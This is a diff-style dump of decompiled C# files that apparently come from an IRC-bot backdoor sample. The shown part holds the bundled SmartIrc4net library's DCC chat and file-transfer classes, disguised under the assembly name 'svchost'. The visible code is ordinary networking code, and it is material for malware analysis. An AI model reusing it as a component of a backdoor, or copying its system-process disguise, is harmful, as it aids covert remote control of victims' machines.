public event DccChatLineHandler OnDccChatReceiveLineEvent;
|
||||||
|
|
||||||
|
protected virtual void DccChatReceiveLineEvent(DccChatEventArgs e)
|
||||||
|
{
|
||||||
|
if (this.OnDccChatReceiveLineEvent != null)
|
||||||
|
this.OnDccChatReceiveLineEvent((object) this, e);
|
||||||
|
this.Irc.DccChatReceiveLineEvent(e);
|
||||||
|
}
|
||||||
|
|
||||||
|
public event DccSendPacketHandler OnDccSendReceiveBlockEvent;
|
||||||
|
|
||||||
|
protected virtual void DccSendReceiveBlockEvent(DccSendEventArgs e)
|
||||||
|
{
|
||||||
|
if (this.OnDccSendReceiveBlockEvent != null)
|
||||||
|
this.OnDccSendReceiveBlockEvent((object) this, e);
|
||||||
|
this.Irc.DccSendReceiveBlockEvent(e);
|
||||||
|
}
|
||||||
|
|
||||||
|
public event DccChatLineHandler OnDccChatSentLineEvent;
|
||||||
|
|
||||||
|
protected virtual void DccChatSentLineEvent(DccChatEventArgs e)
|
||||||
|
{
|
||||||
|
if (this.OnDccChatSentLineEvent != null)
|
||||||
|
this.OnDccChatSentLineEvent((object) this, e);
|
||||||
|
this.Irc.DccChatSentLineEvent(e);
|
||||||
|
}
|
||||||
|
|
||||||
|
public event DccSendPacketHandler OnDccSendSentBlockEvent;
|
||||||
|
|
||||||
|
protected virtual void DccSendSentBlockEvent(DccSendEventArgs e)
|
||||||
|
{
|
||||||
|
if (this.OnDccSendSentBlockEvent != null)
|
||||||
|
this.OnDccSendSentBlockEvent((object) this, e);
|
||||||
|
this.Irc.DccSendSentBlockEvent(e);
|
||||||
|
}
|
||||||
|
|
||||||
|
public event DccConnectionHandler OnDccChatStopEvent;
|
||||||
|
|
||||||
|
protected virtual void DccChatStopEvent(DccEventArgs e)
|
||||||
|
{
|
||||||
|
if (this.OnDccChatStopEvent != null)
|
||||||
|
this.OnDccChatStopEvent((object) this, e);
|
||||||
|
this.Irc.DccChatStopEvent(e);
|
||||||
|
}
|
||||||
|
|
||||||
|
public event DccConnectionHandler OnDccSendStopEvent;
|
||||||
|
|
||||||
|
protected virtual void DccSendStopEvent(DccEventArgs e)
|
||||||
|
{
|
||||||
|
if (this.OnDccSendStopEvent != null)
|
||||||
|
this.OnDccSendStopEvent((object) this, e);
|
||||||
|
this.Irc.DccSendStopEvent(e);
|
||||||
|
}
|
||||||
|
|
||||||
|
internal DccConnection()
|
||||||
|
{
|
||||||
|
this.session = DccConnection.Session.Next;
|
||||||
|
this.Timeout = DateTime.Now.AddSeconds(120.0);
|
||||||
|
}
|
||||||
|
|
||||||
|
internal virtual void InitWork(object stateInfo) => throw new NotSupportedException();
|
||||||
|
|
||||||
|
internal bool isSession(long session) => session == this.session;
|
||||||
|
|
||||||
|
public void RejectRequest()
|
||||||
|
{
|
||||||
|
this.Irc.SendMessage(SendType.CtcpReply, this.User, "ERRMSG DCC Rejected");
|
||||||
|
this.reject = true;
|
||||||
|
this.isValid = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void Disconnect()
|
||||||
|
{
|
||||||
|
this.isConnected = false;
|
||||||
|
this.isValid = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override string ToString() => "DCC Session " + (object) this.session + " of " + this.GetType().ToString() + " is " + (this.isConnected ? (object) ("connected to " + this.RemoteEndPoint.Address.ToString()) : (object) "not connected") + "[" + this.User + "]";
|
||||||
|
|
||||||
|
protected long HostToDccInt(IPAddress ip) => (ip.Address & (long) byte.MaxValue) << 24 | (ip.Address & 65280L) << 8 | ip.Address >> 8 & 65280L | ip.Address >> 24 & (long) byte.MaxValue;
|
||||||
|
|
||||||
|
protected string DccIntToHost(long ip)
|
||||||
|
{
|
||||||
|
IPEndPoint ipEndPoint = new IPEndPoint(ip, 80);
|
||||||
|
char[] chArray = new char[1]{ '.' };
|
||||||
|
string[] strArray = ipEndPoint.Address.ToString().Split(chArray);
|
||||||
|
return strArray[3] + "." + strArray[2] + "." + strArray[1] + "." + strArray[0];
|
||||||
|
}
|
||||||
|
|
||||||
|
protected byte[] getAck(long SentBytes) => new byte[4]
|
||||||
|
{
|
||||||
|
(byte) ((ulong) (SentBytes >> 24) % 256UL),
|
||||||
|
(byte) ((ulong) (SentBytes >> 16) % 256UL),
|
||||||
|
(byte) ((ulong) (SentBytes >> 8) % 256UL),
|
||||||
|
(byte) ((ulong) SentBytes % 256UL)
|
||||||
|
};
|
||||||
|
|
||||||
|
protected string FilterMarker(string msg)
|
||||||
|
{
|
||||||
|
string str = "";
|
||||||
|
foreach (char ch in msg)
|
||||||
|
{
|
||||||
|
if (ch != '\u0001')
|
||||||
|
str += (string) (object) ch;
|
||||||
|
}
|
||||||
|
return str;
|
||||||
|
}
|
||||||
|
|
||||||
|
private class Session
|
||||||
|
{
|
||||||
|
private static long next;
|
||||||
|
|
||||||
|
internal static long Next => ++DccConnection.Session.next;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,10 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.DccConnectionHandler
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public delegate void DccConnectionHandler(object sender, DccEventArgs e);
|
||||||
|
}
|
@ -0,0 +1,19 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.DccEventArgs
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
using System;
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class DccEventArgs : EventArgs
|
||||||
|
{
|
||||||
|
private DccConnection _dcc;
|
||||||
|
|
||||||
|
public DccConnection dcc => this._dcc;
|
||||||
|
|
||||||
|
internal DccEventArgs(DccConnection dcc) => this._dcc = dcc;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,252 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.DccSend
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
using System;
|
||||||
|
using System.IO;
|
||||||
|
using System.Net;
|
||||||
|
using System.Net.Sockets;
|
||||||
|
using System.Threading;
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class DccSend : DccConnection
|
||||||
|
{
|
||||||
|
private Stream _File;
|
||||||
|
private long _Filesize;
|
||||||
|
private string _Filename;
|
||||||
|
private bool _DirectionUp;
|
||||||
|
private long _SentBytes;
|
||||||
|
private DccSpeed _Speed;
|
||||||
|
private byte[] _Buffer = new byte[8192];
|
||||||
|
|
||||||
|
public long SentBytes => this._SentBytes;
|
||||||
|
|
||||||
|
internal DccSend(
|
||||||
|
IrcFeatures irc,
|
||||||
|
string user,
|
||||||
|
IPAddress externalIpAdress,
|
||||||
|
Stream file,
|
||||||
|
string filename,
|
||||||
|
long filesize,
|
||||||
|
DccSpeed speed,
|
||||||
|
bool passive,
|
||||||
|
Priority priority)
|
||||||
|
{
|
||||||
|
this.Irc = irc;
|
||||||
|
this._DirectionUp = true;
|
||||||
|
this._File = file;
|
||||||
|
this._Filesize = filesize;
|
||||||
|
this._Filename = filename;
|
||||||
|
this._Speed = speed;
|
||||||
|
this.User = user;
|
||||||
|
if (passive)
|
||||||
|
{
|
||||||
|
irc.SendMessage(SendType.CtcpRequest, user, "DCC SEND \"" + filename + "\" " + this.HostToDccInt(externalIpAdress).ToString() + " 0 " + (object) filesize + " " + (object) this.session, priority);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
this.DccServer = new TcpListener(new IPEndPoint(IPAddress.Any, 0));
|
||||||
|
this.DccServer.Start();
|
||||||
|
this.LocalEndPoint = (IPEndPoint) this.DccServer.LocalEndpoint;
|
||||||
|
irc.SendMessage(SendType.CtcpRequest, user, "DCC SEND \"" + filename + "\" " + this.HostToDccInt(externalIpAdress).ToString() + " " + (object) this.LocalEndPoint.Port + " " + (object) filesize, priority);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal DccSend(IrcFeatures irc, IPAddress externalIpAdress, CtcpEventArgs e)
|
||||||
|
{
|
||||||
|
this.Irc = irc;
|
||||||
|
this._DirectionUp = false;
|
||||||
|
this.User = e.Data.Nick;
|
||||||
|
if (e.Data.MessageArray.Length > 4)
|
||||||
|
{
|
||||||
|
long result1 = 0;
|
||||||
|
int result2 = 0;
|
||||||
|
long result3;
|
||||||
|
bool flag1 = long.TryParse(e.Data.MessageArray[3], out result3);
|
||||||
|
bool flag2 = int.TryParse(e.Data.MessageArray[4], out result2);
|
||||||
|
if (e.Data.MessageArray.Length > 5)
|
||||||
|
{
|
||||||
|
long.TryParse(this.FilterMarker(e.Data.MessageArray[5]), out result1);
|
||||||
|
this._Filesize = result1;
|
||||||
|
this._Filename = e.Data.MessageArray[2].Trim('"');
|
||||||
|
}
|
||||||
|
if (flag1 && flag2)
|
||||||
|
{
|
||||||
|
this.RemoteEndPoint = new IPEndPoint(IPAddress.Parse(this.DccIntToHost(result3)), result2);
|
||||||
|
this.DccSendRequestEvent(new DccSendRequestEventArgs((DccConnection) this, e.Data.MessageArray[2], result1));
|
||||||
|
}
|
||||||
|
else
|
||||||
|
irc.SendMessage(SendType.CtcpReply, e.Data.Nick, "ERRMSG DCC Send Parameter Error");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
irc.SendMessage(SendType.CtcpReply, e.Data.Nick, "ERRMSG DCC Send not enough parameters");
|
||||||
|
}
|
||||||
|
|
||||||
|
internal override void InitWork(object stateInfo)
|
||||||
|
{
|
||||||
|
if (!this.Valid)
|
||||||
|
return;
|
||||||
|
if (this.DccServer != null)
|
||||||
|
{
|
||||||
|
this.Connection = this.DccServer.AcceptTcpClient();
|
||||||
|
this.RemoteEndPoint = (IPEndPoint) this.Connection.Client.RemoteEndPoint;
|
||||||
|
this.DccServer.Stop();
|
||||||
|
this.isConnected = true;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
while (!this.isConnected)
|
||||||
|
{
|
||||||
|
Thread.Sleep(500);
|
||||||
|
if (this.reject)
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
this.DccSendStartEvent(new DccEventArgs((DccConnection) this));
|
||||||
|
if (this._DirectionUp)
|
||||||
|
{
|
||||||
|
int num;
|
||||||
|
do
|
||||||
|
{
|
||||||
|
while (this.Connection.Available > 0)
|
||||||
|
{
|
||||||
|
switch (this._Speed)
|
||||||
|
{
|
||||||
|
case DccSpeed.Rfc:
|
||||||
|
this.Connection.GetStream().Read(this._Buffer, 0, this._Buffer.Length);
|
||||||
|
continue;
|
||||||
|
case DccSpeed.RfcSendAhead:
|
||||||
|
this.Connection.GetStream().Read(this._Buffer, 0, this._Buffer.Length);
|
||||||
|
continue;
|
||||||
|
default:
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
num = this._File.Read(this._Buffer, 0, this._Buffer.Length);
|
||||||
|
try
|
||||||
|
{
|
||||||
|
this.Connection.GetStream().Write(this._Buffer, 0, num);
|
||||||
|
}
|
||||||
|
catch (IOException ex)
|
||||||
|
{
|
||||||
|
num = 0;
|
||||||
|
}
|
||||||
|
this._SentBytes += (long) num;
|
||||||
|
if (num > 0)
|
||||||
|
{
|
||||||
|
this.DccSendSentBlockEvent(new DccSendEventArgs((DccConnection) this, this._Buffer, num));
|
||||||
|
Console.Write(".");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
while (num > 0);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
int num;
|
||||||
|
while ((num = this.Connection.GetStream().Read(this._Buffer, 0, this._Buffer.Length)) > 0)
|
||||||
|
{
|
||||||
|
this._File.Write(this._Buffer, 0, num);
|
||||||
|
this._SentBytes += (long) num;
|
||||||
|
if (this._Speed != DccSpeed.Turbo)
|
||||||
|
this.Connection.GetStream().Write(this.getAck(this._SentBytes), 0, 4);
|
||||||
|
this.DccSendReceiveBlockEvent(new DccSendEventArgs((DccConnection) this, this._Buffer, num));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
this.isValid = false;
|
||||||
|
this.isConnected = false;
|
||||||
|
Console.WriteLine("--> Filetrangsfer Endet / Bytes sent: " + (object) this._SentBytes + " of " + (object) this._Filesize);
|
||||||
|
this.DccSendStopEvent(new DccEventArgs((DccConnection) this));
|
||||||
|
}
|
||||||
|
|
||||||
|
public bool AcceptRequest(Stream file, long offset)
|
||||||
|
{
|
||||||
|
if (this.isConnected)
|
||||||
|
return false;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
if (file != null)
|
||||||
|
this._File = file;
|
||||||
|
if (this.RemoteEndPoint.Port == 0)
|
||||||
|
{
|
||||||
|
this.DccServer = new TcpListener(new IPEndPoint(IPAddress.Any, 0));
|
||||||
|
this.DccServer.Start();
|
||||||
|
this.LocalEndPoint = (IPEndPoint) this.DccServer.LocalEndpoint;
|
||||||
|
this.Irc.SendMessage(SendType.CtcpRequest, this.User, "DCC SEND \"" + this._Filename + "\" " + this.HostToDccInt(this.ExternalIPAdress).ToString() + " " + (object) this.LocalEndPoint.Port + " " + (object) this._Filesize);
|
||||||
|
}
|
||||||
|
else if (offset == 0L)
|
||||||
|
{
|
||||||
|
this.Connection = new TcpClient();
|
||||||
|
this.Connection.Connect(this.RemoteEndPoint);
|
||||||
|
this.isConnected = true;
|
||||||
|
}
|
||||||
|
else if (this._File.CanSeek)
|
||||||
|
{
|
||||||
|
this._File.Seek(offset, SeekOrigin.Begin);
|
||||||
|
this._SentBytes = offset;
|
||||||
|
this.Irc.SendMessage(SendType.CtcpRequest, this.User, "DCC RESUME \"" + this._Filename + "\" " + (object) this.RemoteEndPoint.Port + " " + (object) offset);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
this._SentBytes = offset;
|
||||||
|
this.Irc.SendMessage(SendType.CtcpRequest, this.User, "DCC RESUME \"" + this._Filename + "\" " + (object) this.RemoteEndPoint.Port + " " + (object) offset);
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
this.isValid = false;
|
||||||
|
this.isConnected = false;
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal bool TryResume(CtcpEventArgs e)
|
||||||
|
{
|
||||||
|
if (this.User == e.Data.Nick && e.Data.MessageArray.Length > 4)
|
||||||
|
{
|
||||||
|
if (this._Filename == e.Data.MessageArray[2].Trim('"'))
|
||||||
|
{
|
||||||
|
long result = 0;
|
||||||
|
long.TryParse(this.FilterMarker(e.Data.MessageArray[4]), out result);
|
||||||
|
if (this._File.CanSeek)
|
||||||
|
{
|
||||||
|
if (e.Data.MessageArray.Length > 5)
|
||||||
|
this.Irc.SendMessage(SendType.CtcpRequest, e.Data.Nick, "DCC ACCEPT " + e.Data.MessageArray[2] + " " + e.Data.MessageArray[3] + " " + e.Data.MessageArray[4] + " " + this.FilterMarker(e.Data.MessageArray[5]));
|
||||||
|
else
|
||||||
|
this.Irc.SendMessage(SendType.CtcpRequest, e.Data.Nick, "DCC ACCEPT " + e.Data.MessageArray[2] + " " + e.Data.MessageArray[3] + " " + this.FilterMarker(e.Data.MessageArray[4]));
|
||||||
|
this._File.Seek(result, SeekOrigin.Begin);
|
||||||
|
this._SentBytes = result;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
this.Irc.SendMessage(SendType.CtcpRequest, e.Data.Nick, "ERRMSG DCC File not seekable");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
internal bool TryAccept(CtcpEventArgs e)
|
||||||
|
{
|
||||||
|
if (this.User == e.Data.Nick && e.Data.MessageArray.Length > 4)
|
||||||
|
{
|
||||||
|
if (this._Filename == e.Data.MessageArray[2].Trim('"'))
|
||||||
|
return this.AcceptRequest((Stream) null, 0L);
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
internal bool SetRemote(CtcpEventArgs e)
|
||||||
|
{
|
||||||
|
int result1 = 0;
|
||||||
|
long result2;
|
||||||
|
bool flag1 = long.TryParse(e.Data.MessageArray[3], out result2);
|
||||||
|
bool flag2 = int.TryParse(e.Data.MessageArray[4], out result1);
|
||||||
|
if (!flag1 || !flag2)
|
||||||
|
return false;
|
||||||
|
this.RemoteEndPoint = new IPEndPoint(IPAddress.Parse(this.DccIntToHost(result2)), result1);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,25 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.DccSendEventArgs
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class DccSendEventArgs : DccEventArgs
|
||||||
|
{
|
||||||
|
private byte[] _Package;
|
||||||
|
private int _PackageSize;
|
||||||
|
|
||||||
|
public byte[] Package => this._Package;
|
||||||
|
|
||||||
|
public int PackageSize => this._PackageSize;
|
||||||
|
|
||||||
|
internal DccSendEventArgs(DccConnection dcc, byte[] package, int packageSize)
|
||||||
|
: base(dcc)
|
||||||
|
{
|
||||||
|
this._Package = package;
|
||||||
|
this._PackageSize = packageSize;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,10 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.DccSendPacketHandler
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public delegate void DccSendPacketHandler(object sender, DccSendEventArgs e);
|
||||||
|
}
|
@ -0,0 +1,25 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.DccSendRequestEventArgs
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class DccSendRequestEventArgs : DccEventArgs
|
||||||
|
{
|
||||||
|
private string _Filename;
|
||||||
|
private long _Filesize;
|
||||||
|
|
||||||
|
public string Filename => this._Filename;
|
||||||
|
|
||||||
|
public long Filesize => this._Filesize;
|
||||||
|
|
||||||
|
internal DccSendRequestEventArgs(DccConnection dcc, string filename, long filesize)
|
||||||
|
: base(dcc)
|
||||||
|
{
|
||||||
|
this._Filename = filename;
|
||||||
|
this._Filesize = filesize;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,10 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.DccSendRequestHandler
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public delegate void DccSendRequestHandler(object sender, DccSendRequestEventArgs e);
|
||||||
|
}
|
@ -0,0 +1,15 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.DccSpeed
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public enum DccSpeed
|
||||||
|
{
|
||||||
|
Rfc,
|
||||||
|
RfcSendAhead,
|
||||||
|
Turbo,
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,29 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.DehalfopEventArgs
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class DehalfopEventArgs : IrcEventArgs
|
||||||
|
{
|
||||||
|
private string _Channel;
|
||||||
|
private string _Who;
|
||||||
|
private string _Whom;
|
||||||
|
|
||||||
|
public string Channel => this._Channel;
|
||||||
|
|
||||||
|
public string Who => this._Who;
|
||||||
|
|
||||||
|
public string Whom => this._Whom;
|
||||||
|
|
||||||
|
internal DehalfopEventArgs(IrcMessageData data, string channel, string who, string whom)
|
||||||
|
: base(data)
|
||||||
|
{
|
||||||
|
this._Channel = channel;
|
||||||
|
this._Who = who;
|
||||||
|
this._Whom = whom;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,10 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.DehalfopEventHandler
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public delegate void DehalfopEventHandler(object sender, DehalfopEventArgs e);
|
||||||
|
}
|
@ -0,0 +1,29 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.DeopEventArgs
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class DeopEventArgs : IrcEventArgs
|
||||||
|
{
|
||||||
|
private string _Channel;
|
||||||
|
private string _Who;
|
||||||
|
private string _Whom;
|
||||||
|
|
||||||
|
public string Channel => this._Channel;
|
||||||
|
|
||||||
|
public string Who => this._Who;
|
||||||
|
|
||||||
|
public string Whom => this._Whom;
|
||||||
|
|
||||||
|
internal DeopEventArgs(IrcMessageData data, string channel, string who, string whom)
|
||||||
|
: base(data)
|
||||||
|
{
|
||||||
|
this._Channel = channel;
|
||||||
|
this._Who = who;
|
||||||
|
this._Whom = whom;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,10 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.DeopEventHandler
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public delegate void DeopEventHandler(object sender, DeopEventArgs e);
|
||||||
|
}
|
@ -0,0 +1,29 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.DevoiceEventArgs
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class DevoiceEventArgs : IrcEventArgs
|
||||||
|
{
|
||||||
|
private string _Channel;
|
||||||
|
private string _Who;
|
||||||
|
private string _Whom;
|
||||||
|
|
||||||
|
public string Channel => this._Channel;
|
||||||
|
|
||||||
|
public string Who => this._Who;
|
||||||
|
|
||||||
|
public string Whom => this._Whom;
|
||||||
|
|
||||||
|
internal DevoiceEventArgs(IrcMessageData data, string channel, string who, string whom)
|
||||||
|
: base(data)
|
||||||
|
{
|
||||||
|
this._Channel = channel;
|
||||||
|
this._Who = who;
|
||||||
|
this._Whom = whom;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,10 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.DevoiceEventHandler
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public delegate void DevoiceEventHandler(object sender, DevoiceEventArgs e);
|
||||||
|
}
|
@ -0,0 +1,21 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.ErrorEventArgs
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class ErrorEventArgs : IrcEventArgs
|
||||||
|
{
|
||||||
|
private string _ErrorMessage;
|
||||||
|
|
||||||
|
public string ErrorMessage => this._ErrorMessage;
|
||||||
|
|
||||||
|
internal ErrorEventArgs(IrcMessageData data, string errormsg)
|
||||||
|
: base(data)
|
||||||
|
{
|
||||||
|
this._ErrorMessage = errormsg;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,10 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.ErrorEventHandler
